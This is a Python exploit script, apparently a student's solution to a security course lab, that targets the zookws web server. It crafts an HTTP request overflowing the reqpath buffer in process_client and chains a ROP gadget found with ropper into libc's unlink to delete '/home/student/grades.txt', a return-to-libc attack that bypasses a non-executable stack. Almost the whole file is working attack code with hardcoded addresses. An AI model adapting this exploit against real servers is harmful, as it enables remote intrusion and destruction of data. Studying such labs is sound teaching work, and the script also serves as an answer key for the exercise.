text: #!/usr/bin/env python3
  import sys
  import socket
  import traceback
  import urllib.parse
  import struct
  
  ####
  
  ## To bypass the none execution stack with return-to-libc.
  ## the lab not use accidentally function as ROP gadget.
  ## ROP means Return Oriented Programming.
  ## So accidentally function in zookd.c is not used in this lab.
  ## To find the gadaget by tool of ropper.
  
  ####  1. To run server with:
  ####  ./clean-env.sh ./zookd-nxstack 8080 &
  ####  2. To overflow the stack with:
  ####  ./exploit-ret2libc-wohelper.py localhost 8080
  
  # To overflow the reqpath buffer in the process_client function.
  # All info is in the process_client frame and context.
  reqpath_addr  = 0x7fffffffdcd0
  
  # The address of saved $rip in the frame of process_client
  rip_addr      = 0x7fffffffece8
  
  # The address of gadgets find by ropper 
  # pop %rdi; retq
  rop_addr      = 0x555555554000 + 0x0000000000002fb3 
  
  # The unlink address in the user address space
  unlink_addr = 0x15555504cd40
  
  # The parameter("/home/student/grades.txt") address of unlink
  param_addr  = reqpath_addr + 1
  
  
  ## This is the function that you should modify to construct an
  ## HTTP request that will cause a buffer overflow in some part
  ## of the zookws web server and exploit it.
  
  def build_exploit(shellcode):
      ## Things that you might find useful in constructing your exploit:
      ##
      ##   urllib.parse.quote_from_bytesquote(s).encode('ascii')
      ##     returns string s with "special" characters percent-encoded
      ##   struct.pack("<Q", x)
      ##     returns the 8-byte binary encoding of the 64-bit integer x
      
      # REQUEST_LINE = REQUEST_METHOD + REQUEST_URI + SERVER_PROTOCOL
      REQUEST_METHOD = b"GET"
      print("REQUEST_METHOD: " + str(REQUEST_METHOD))
      
      # According to the gadgets content, REQUEST_URI will be
      # REQUEST_URI = "/" + parameter + padding + rop_addr + param_addr + unlink_addr
      # The content of REQUEST_URI will load to reqpath buffer 
      parameter = b"/home/student/grades.txt" + b"%00"
      print("PARAM_LEN: " + str(len(parameter)))
      
      # The b"%00" is 3 bytes but after url_encode will be 1 byte
      # So we must padding 2 addtional byte
      padding_len    = (rip_addr - reqpath_addr) - (len(parameter) + 1) + 2
      padding        = b"A" * padding_len
  
      ### The rop_addr actually is 0x00 00 55 55 55 55 58 8a
      ### So the 0x00 will terminate and break the REQUEST string.
      ### Then quote_from_byte will translate the 0x00 to %00 and 
      ### '0' in the %00 is a char(0x30) rather than 0x00.
      ### At last, the %00 will recover to 0x00 by url_encode in the http.c
      b_rop_addr = struct.pack("<Q", rop_addr)
      q_rop_addr = urllib.parse.quote_from_bytes(b_rop_addr).encode('ascii')
  
      b_param_addr = struct.pack("<Q", param_addr)
      q_param_addr = urllib.parse.quote_from_bytes(b_param_addr).encode('ascii')
  
      b_unlink_addr = struct.pack("<Q", unlink_addr)
      q_unlink_addr = urllib.parse.quote_from_bytes(b_unlink_addr).encode('ascii')
  
      # REQUEST_URI = "/" + parameter + padding + rop_addr + param_addr + unlink_addr
      REQUEST_URI  = b"/" + parameter + padding + q_rop_addr + q_param_addr + q_unlink_addr
  
      # SERVER_PROTOCOL is "HTTP/1.0"
      SERVER_PROTOCOL = b"HTTP/1.0"
  
      space = b"\x20"
      end   = b"\r\n"
  
      # REQUEST_LINE = REQUEST_METHOD + REQUEST_URI + SERVER_PROTOCOL
      REQUEST_LINE = REQUEST_METHOD + space + REQUEST_URI + space + SERVER_PROTOCOL + end
  
      # REQUEST = REQUEST_LINE + REQUEST_HEADER
      REQUEST = REQUEST_LINE + \
                end
  
      return REQUEST
  
  ####
  
  def send_req(host, port, req):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      print("Connecting to %s:%d..." % (host, port))
      sock.connect((host, port))
  
      print("Connected, sending request...")
      sock.send(req)
  
      print("Request sent, waiting for reply...")
      rbuf = sock.recv(1024)
      resp = b""
  
      while len(rbuf):
          resp = resp + rbuf
          rbuf = sock.recv(1024)
  
      print("Received reply.")
      sock.close()
      return resp
  
  ####
  
  if len(sys.argv) != 3:
      print("Usage: " + sys.argv[0] + " host port")
      exit()
  
  try:
      shellfile = open("shellcode.bin", "rb")
      shellcode = shellfile.read()
      req = build_exploit(shellcode)
      print("HTTP request:")
      print(req)
  
      resp = send_req(sys.argv[1], int(sys.argv[2]), req)
      print("HTTP response:")
      print(resp)
  except:
      print("Exception:")
      print(traceback.format_exc())
  
  